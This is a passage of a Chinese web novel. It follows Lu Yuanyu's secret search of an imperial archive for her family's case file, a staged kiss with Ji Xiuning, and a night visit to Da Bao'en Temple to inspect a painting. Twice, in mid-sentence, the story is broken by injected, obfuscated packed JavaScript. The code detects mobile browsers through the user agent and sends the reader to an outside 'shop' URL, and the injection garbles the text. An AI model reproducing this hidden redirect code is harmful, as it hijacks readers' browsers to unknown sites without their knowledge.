辛舒今天来除了见见传闻中的李元玉,还要对每日的修编进度进行督促和协助,所以问完路元玉话后,就和韩学士交谈了起来。路元玉和程砚两人在一旁默默听着。问完话后,辛舒就在众人的拥簇下离开了。 路元玉几人再度投入工作当中。 他们在这里忙了一整天,几人直到晚上太阳落山才离开。 由于是第一天,路元玉不打算冒险去查什么,而且她得知《前朝史》的编纂工作才开始没多长时间,她可以在这里熟悉一下再查案也来得及。 因为她来到了整理司工作,她的店面就暂时关闭了,突然又过上了这种朝九晚五的工作,一时间轻松了许多。 这样的日子过了一星期,她彻底将工作流程都熟悉了之后,开始默默计划着,哪里能看到路氏的卷宗。 这天修补的时候,她状似无意间问道:“程编修,你们现在的进度写到天狩几年了?” 程砚从一摞书中抬起头,叹了口气,“天授元年的都还没开始写呢,一直都在整理中,毕竟你也知道,新朝初立时事情比较多。” “奥,”路元玉点点头,“我这边忙完了,你需要帮忙吗?我看你已经翻看了将近两个时辰了。” 闻言,程砚眼睛顿时明亮几分,“真的吗?”但很快又摇了摇头,“算了吧,我这里是要查资料的,你如果不懂,还会打乱我的节奏。” 路元玉没再强求,“好,那你忙,我在旁边看看,等我看会了再帮你。” 程砚也没有拒绝,路元玉就在旁边光明正大的看了起来,果不其然在桌案的一脚看到了关于路家的案卷。 她突然感到有些口干舌燥,但她并没有莽撞地伸手去拿,也没有去问,而是又看了看周围几个卷册,才问道:“你是在整理天狩元年的反动案吗?” 程砚摇摇头,“不是,是那年的‘文字案’涉及到的家族,虽然受害最大的是路家,但其他跟他关系较好的家族也被牵连了。要不是韩学士对这次的编修要求严格,我也不会这么麻烦了。” 路元玉点点头,原来如此。 “我我差不多看明白了,你需要我帮什么忙,尽管跟我说吧。” “太好了!” 有了路元玉的帮忙,程研的工作进度大大提升了,今天他们超额完成了很多工作,程砚高兴地要请路元玉吃饭。 路元玉虽然帮了他的忙,但她也获得了一些和路家有关人物线索,虽然不是什么大线索,但也让她有方向了,为了以后接触到更多,路元玉非常痛快地答应了。 两人在酒楼一边吃饭,一边相谈甚欢,直到酉时末路元玉才回到家。 打开门,看到季修宁默默坐在前庭的一桌饭菜面前等她的样子,路元玉忽然感到脖颈一凉。 她忘了告诉他,今晚她不回来了。 36. 第三十六章·进展 “好、好巧,你还没睡啊?”路元玉没办法当作看不见,只能硬着头皮走上去打招呼。 季修宁好像在这里等了很长时间,饭菜都冷掉了,他身上也泛着冷冰冰的寒气。 但他并没有对路元玉抱怨什么,只是沉默着点了点头,然后垂下目光,缓缓站起来。 “回来就好,早点休息,我也去休息了。” 说完就走,丝毫不给路元玉任何解释的时间。 路元玉看着他的背影,也默默生气起来。 走就走,反正他们也只是普通合作关系。他这次走了最好永远都别再回来。路元玉思想很理智,但今晚却罕见地失眠了。 和季修宁在一起经历了这么多,她已经没办法再将他当作普通的合作者了,也不再是单纯的救助人,而是……她有点喜欢上他了。 也不是突然就喜欢上的,只是恰好两人经历了很多事,而在这些事中,路元玉一点一点放弃了以前通过书中片面的了解他的偏见,逐渐接纳了他这个人。 他虽然冷漠无情,阴狠手辣,但从两人认识到现在,从没见过他滥杀无辜,在某些事上他又显得异常单纯,常常给人一种割裂感。 然而路元玉很喜欢他这种反差,她喜欢挑动他的极限和理智,喜欢看他发怒发狂,喜欢他因她而起的所有反应。 但现在他越来越正常了。 算了,顺其自然吧。 这样的日子大概又过了一个月,天气逐渐热了起来,图籍管理司也逐渐对路元玉开放了权限。 毕竟她活好话不多,还肯干,管理司里的人都特别喜欢她。 更重要的是,每天她做完自己的工作后还帮别人做,省了别人好大的精力,不知不觉间,他们让她干的事情越来越重要。 起初只是帮他们递递东西,或者做些摘抄,或者在厢房里找些书籍资料,慢慢的,他们开始让她去第三进院落的资料库翻找更加重要的东西。 和之前一样,路元玉很谨慎,并没有多做停留,直到这天傍晚,他们早早离开后,路元玉借口有个地方出错了,她要在这里改完再走。 韩学士笑着对她点点头,“年轻人,精力真好啊。” 程砚也笑着附和,“李姑娘,忙完可要早点回去,晚上外面不安全。” 路元玉连连点头,等他们走了好大一会儿后,她拿起放在抽屉里的钥匙,轻手轻脚地往后院走去。 这些天她在他们整理的案卷上没找出什么有价值的东西,翻来覆去都是那些话,路元玉想,真相肯定不会被编进史书里,既然确定他们家族的案宗就在这里,而前面都没看到,那就只能是在后院的资料库里。 后院的资料库有两层,她来了这么多次也只在一层停留过。 天色将暗,气温降低,路元玉走在小道上,只能听见风吹响树叶的沙沙声和远处几声鸟鸣,这里有些太过安静,路元玉紧张地吞咽了下,在心里给自己打气。 直到走到资料库前,看着厚重的大门,路元玉心里的紧张才稍微消散了点。 然而再定睛一看,发现木门上的锁已经被打开了!是谁在这里? 韩学士和程砚已经离开了,除了他们二人那就只有辛舒! 路元玉下意识转身想离开,但又突然想起来原书中所描写的,太子宋承安担心辛舒的安危,在她身边安排了很多暗卫。如果她今天不明不白地走掉了,那很可能会惹来更大的怀疑! 倒不如将计就计。 路元玉在门前站了片刻,下定决心推开门进去。 她推门的时候小心翼翼地,木门虽然年久但没有发出一点声音。 不出路元玉所料,里面点满了蜡烛,灯火通明,她小心翼翼地上前,一边走一边查探周围。 忽然,从资料库深处传来一声娇喝:“站住!来者何人!” 路元玉浑身一颤,顿时站在原地不动了。 但她还是谨慎地问道:“是太子妃殿下吗?” 那道声音怒道:“放肆,敢对殿下无礼?” 听到对方承认后,路元玉反倒松了口气,“原来是太子妃殿下,我还以为这里进贼了。” “放肆,竟敢说——” “雪儿,好了,让她进来吧。” 路元玉低着头,雪儿哼了一声,让路元玉上前。 资料库是改造的,房间里摆放了很多书架,书架上摆满了卷册,挡住了视线,但路元玉知道,资料库里侧有个小房间,房间中摆着一方小桌案,供来查阅资料的人使用。 路元玉凭借记忆,走到那方小隔间前,恰好看到那里的窗户大开,外面正好是自己来时的那条路。 路元玉心里冷汗直流,幸好方才自己没有冲动离开。 辛舒坐在桌案前,手上拿着一卷册子,见路元玉来了之后便揉了揉眉心,将卷册放下,看向她。 声音依旧动听,却听不出丝毫笑意:“李姑娘,按规矩,这里似乎不是你该来的地方吧?” 路元玉连忙低头认错,“是我的错。方才我发现今日要修补图上有些地上不清楚,需要查阅资料。韩大人他们已经先行离开,我就只好私自拿了钥匙来这里寻找。” 辛舒淡淡瞥她一眼,问:“是什么地方出错了?让雪儿找给你。” 路元玉咬咬唇,道:“是这样的,我正在修复那册《金陵水道舆图》,图中有几处墨渍与污损,恰好覆盖了旧时水关与码头的标注。随意填补是不敬业之为,故特来查阅同期的地方志与河工志。” 辛舒听她说完,微微点点头,“听起来不是一本书,而是一类书,雪儿粗心,还是你自己去找吧。” 路元玉点头,退了出去。 雪儿在路元玉走后,上前一步,不解道:“娘娘,您怎么不让我跟着她,万一她——” 辛舒看向窗外,眼神微凛,低声道:“她没有说真话,你跟去也没用。” 雪儿霎时一脸震惊:“那娘娘您!” 辛舒:“放心,她今日不会多做什么,只是日后要派人盯着她。” 经过这几日的观察,辛舒发现这个所谓的李姑娘并不像表面上看起来那么简单随和。平日里搞搞小动作也就罢了,现在竟然把主意打在了这密阁之中。 她的目的到底是什么,她到底来找什么? 辛舒也是经历过大风大浪的人,懂得不能打草惊蛇的道理,便没有轻举妄动。 很快,路元玉拿着资料回来了,她低头站在辛舒面前,“娘娘,需要的资料我已经找到了,若是没什么事我就先告退了。” 辛舒点点头。 路元玉离开后,将钥匙放回原处,又耐下性子将污损处一一复原之后,才锁上门回了家。 这一路上她都没有什么异样,直到回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199743|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到家,将自己锁在房间里之后,面上才露出一种悔恨的表情。 她明明觉得自己已经够小心了,为什么关键时候还是会出差错?这下好了,被辛舒撞见了。 若换作是其他任何一个人,路元玉都没有这么焦虑,但偏偏是辛舒。 辛舒在原书中就很聪明,是全书的智力担当,其中有好几次男主犯浑,都是辛舒力挽狂澜,他们才能有这样的美好结局,如今她被辛舒盯上,之后再想行动可就难了。 这天晚上,路元玉没有吃饭,直接就睡了。 第二天她照常去了图集管理司,不出所料被韩学士单独批评了。 不过他没有辛舒想的那么多,只是委婉告诉她以后不必再多帮他们做什么。路元玉表示自责,并点头应下了。 果然,辛舒对她产生了怀疑,还叫了韩学士问话,虽然她知道韩学士肯定不会说自己什么,但辛舒却给她立了规矩,让她以后不能再进入资料库。 只是如果她一直进不去,那该怎么往下进行查案呢? 目前她得到的有效线索只是一份关联文字案的参与者以及举报者名单,关联者都是受害者,和路家的下场都一样,如今成年的那些人肯定对当年的案情都没印象了。 至于举报者,这份长长的名单里,路元玉只认识一个名字,那就是原书女主的父亲——辛稷。 原书的故事线是从天狩二年写起的,故事开头女主的父亲已经是新朝宰相,女主也已经及笄,她和太子又是同岁,门当户对,郎才女貌,二人互生情愫。若不是季修宁从中作梗,两人早就成亲了。 辛稷作为原女主的父亲,在原书中出场次数并不算多,但作者给他立了一个严厉却明理的形象,对待孩子不放纵也不过分苛求,还经常与孩子们吟诗作赋,探讨理学,所以辛舒才能长成如今这副模样。 路元玉在听这本书的时候,对辛稷的好感度还可以,算是一个正常父亲,毕竟他没有为了攀附关系,逼着自己的女儿去讨好太子,让两人联姻。 所以路元玉在拿到这份名单时,看到举报者之一是辛稷并没有多想,反而是想再多查一些其它信息。 然而现在线索已断,她不得不从这些人名开始查起。 傍晚照常回到家后,路元玉并没有急着出门,而是等到夜深十分,城里挨家挨户的等都灭了之后,路元玉才悄悄打开门。 然而迎面就撞上了一个人。 路元玉杏眼微睁,看清来人后面露疑色。 她倒是忘了季修宁偶尔会找她来鉴宝,不过这几日他都没来,怎么碰巧她要出去他就来了? “今晚我有点事,明天行吗?”路元玉跟他商量。 季修宁看着一身潜行衣打扮的路元玉,并不奇怪她要去做什么,虽然这些日子他们并未见面,但他有时间就会跟着她,前段时间,他发现有另外一个人也盯上了她,他就去查了一下,原来是不小心露出了尾巴被辛舒那个女人发现了。 不知道路元玉发现了没有,不过她一直没有找他,他就当作不知道,反正那人也没跟出什么接过来,如果真有什么不该看的让他看到了,那时他再出手清理也来得及。 季修宁想了很多,但并没有表现出来,依旧是那副冷冷地样子,往后退了半步。 路元玉以为他答应了,就要往外走,然而季修宁却把她拦下了,“不行。” 37. 第三十七章·《雪竹图》 路元玉以为自己听错了,疑惑地看着他。 季修宁又认真地重复了一遍:“不行,今晚你需要陪我出去一趟。” 路元玉蹙眉,“出去?” 季修宁点头,然而下一秒,就拉起她的手,一个转身将她拽进了房间内。 路元玉一脸震惊,这都直接开始动手了? 房门被他带起的风“唰”的合上,两人靠在木板门上,目光在空中相撞。下一秒,季修宁快速放开她的手腕,往后退了两步,声音有些喑哑道:“抱歉,方才……你被人盯上了。” 一句话解释了他为何突然将她拉了回来。 路元玉这几天也隐隐约约感觉自己被盯上了,但不确定,听他这么说她是完全相信的,于是只好叹了口气,“好吧。” 她走到桌边坐下,“细说你要带我去干什么?” 以往他要她帮忙鉴定,都是直接带回来,今天说不定是有其他事,路元玉这样想着。 季修宁道:“在大报恩寺发现一副《雪竹图》,这幅画很有可能印有澄心堂印,但因为机关严密拿不出来,需要你和我一同过去看。” “奥……”路元玉会意点头,“但必须得是今晚吗?我今晚也有事。” 季修宁点头,“放心,不会让你白白帮忙,你想做什么我会帮你。” 闻言,路元玉只犹豫了一秒就点头答应了。反正又不是她不劳而获,这是交易该有的合作。 打定主意,路元玉往外看了一眼,神色闪过一丝为难,“但外面这人……” “我去解决。”季修宁接过话,说着就要往外走。 路元玉连忙拉住他,“你这样很容易打草惊蛇!” 到时如果让辛舒发现季修宁还没死,那她们会瞬间陷入被全国追杀的地步,那时他们就什么都做不了了。 季修宁抿唇,拧眉看她,“那怎么办?” 总不能在这里干等着吧? 路元玉蹙眉,眼睛看向窗外,忽然萌生了一个大胆的想法。 她没打招呼,直接上前搂住了季修宁的脖颈,整个人软媚地贴了上去。 季修宁瞬间呆愣在那里,瞳孔微微放大,呼吸也不自觉放轻了许多。 路元玉找准位置,将他拖到油灯前,不等他什么反应,直接又凑到了他耳侧。 两人的身影被油灯的光放大了好几倍,映在窗户上,落在外面守着的人的眼里。 那人不屑轻笑出声,又等了一会儿,见两人的身影还搂在一起,越搂越紧,唇舌交缠,最后,灯光熄灭。 黑衣人觉得无趣,起身离开了。 房间内,路元玉被压在桌子上。 季修宁湍急的心跳声“咚咚咚”传进她耳中,他的呼吸灼热地喷洒在她锁骨,路元玉有种错觉,仿佛她突然被锁进蒸炉里,身体开始不自觉发紧发烫。 路元玉怔神的同时,季修宁在极力克制自己,虽然他并不喜欢让别人这么对自己,但对方是是她的话,好像也没那么难以接受。 刚才她突然吻来的那一刹那,他整颗心脏仿佛突然停止跳动,身体温度在一瞬间升到爆表值,他从没有这么不知所措的时候。 她唇瓣温和软糯,和她表现出来的冷静气质完全不同,但她只轻碰了一下,很快就离开了。 她害羞地说关灯,他竟然没有任何意识就扇出去一道掌风吹灭了。 他也不是什么都不懂的年纪,相反他今年已经二十有九,接近而立之年,以前虽然从来没有和别的女子这般过,但他也见过。 只是为什么这么突然? 季修宁没有细想,虽然仍旧疑惑,但依旧遵循本能,想不断地向她靠近。 季修宁一手搂着她的腰,埋首在她颈间,一手撑着她的背抵挡不适感。 短短时间,路元玉也万分后悔。 原本她只是想错位吻,但看到他性感的薄唇,她没忍住吻了上去。 感觉比她想象中的还要好,一点都不冷冰冰,反而热热的,惹得她心脏也砰砰乱跳,说出的话也像断了弦的琴,断断续续连不成一句话。 两人都沉浸在自己的情绪中,房间内安静地只剩下他们急促的呼吸声。 又过了一会儿,路元玉猛然反应过来,将季修宁推开,季修宁不明所以,小心将她扶起来,低声道:“我、会对你负责的。” 路元玉闻言,有些想笑,就吻了一下,负什么责? 但她没说出来,因为她感觉如果说出来的话下场会很惨,于是只是淡淡点了点头,“方才只是计策,很抱歉。不过现在外面的人应该已经走了,我们可以去大报恩寺了。” 季修宁闻言,充血的耳根才慢慢恢复正常,刚才心脏快要跳出来的刺激感也慢慢消退,隐隐留下一些失望。 和一丝恼怒。 如果现在站在这里的是别人,她也会这样吻上去吗? 但此时并不是将这种事的好时机,季修宁冷着脸点头,“抱紧我。” 然后从后窗破窗离开。 大报恩寺在金陵城外,路元玉两人赶过去花费了半个时辰。 夜晚的大报恩寺灯火通明,从塔顶到塔基,宛如一条腾空而起的火龙。 季修宁踩在墙头砖块上,停顿了片刻,目光落在塔身上,正在认真寻找存放古画的那间房间。 然后又搂住路元玉腰身,纵身一跃,落在了某一层塔檐上。大报恩寺的塔檐并非木制,而是通体覆盖着五彩琉璃,在夜色反射出流光溢彩的效果。路元玉有些惶恐,生怕给人家踩坏了,但季修宁丝毫不在意,放轻脚步只是为了不引人注意。 他们停在一扇窗前等了片刻,确认里面没有其他人后才推开窗跳了进去。 房间内并没有点灯,尽管如此通过外面的光线已经可以将房间内的尽收眼底。 路元玉嗅了嗅鼻子,一股浓厚的檀香扑面而来,因为有些太厚重,路元玉没忍住咳嗽两声。 季修宁连忙看过去,见她没什么大碍才低声提醒道:“嘘。” 路元玉点头,目光顺着季修宁的手指看去,看到在房间北侧墙上悬挂着一副展开的画像,画像表面好像有特殊材质覆盖,隐隐有些反光。 两人对视一眼,季修宁从怀中拿出火折子,在蜡烛上点燃,和路元玉一起凑近了些,路元玉这才看到画表面确实有一层厚厚的玻璃,看材质还是十分耐用的那种,轻易不能打开。 路元玉接过季修宁手中的蜡烛,一言不发开始看了起来。 这幅图中央几只竿瘦竹在积雪的重压下弯曲,但竹梢上扬,显示出坚韧不屈的气质。画风写实冷峻,积雪处大量留白,路元玉将目光落在最后的提款处—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方丈费力地从地上爬起来,路元玉赶紧上去扶,或许是她出现得太过悄无声息,方丈也没想到这里还有个人等着他,被吓了一跳,浑身哆嗦一下,猛地向身后看了过来。 路元玉礼貌地扬起笑脸,向方丈表示自己不是坏人。 然而方丈除了刚才被吓了一下,并没有什么多余动作,只是冷哼一声,瞪了他们一眼,自顾自坐在房间中央的蒲团上开始念经了。 路元玉疑惑地看向季修宁,“你没跟他说叫他来干什么吗?” 季修宁,“说了,他不配合。” 路元玉又想说什么,方丈忽然道:“哼,我劝你们别白费力气了,这《雪竹图》可不是只有你们想要,可谁都没办法带走它,就连我也不行。” 路元玉纳闷,“为什么?” 方丈不再说话,徒留路元玉和季修宁二人面面相觑。 又等了一会儿,路元玉看了看天色,感觉有些晚了,“要不我们先回去吧,回去再看看有什么办法研究一下。” 季修宁有些犹豫。 路元玉解释道,“眼看天就要亮了,如果耽误了去整理司修补书籍,辛舒肯定会怀疑的。” “……”季修宁不说话,却走到了窗边,示意路元玉过来。 然而路元玉刚拽住他的衣服,就听方丈竟然主动问道:“施主且慢……敢问施主,您会修书籍?”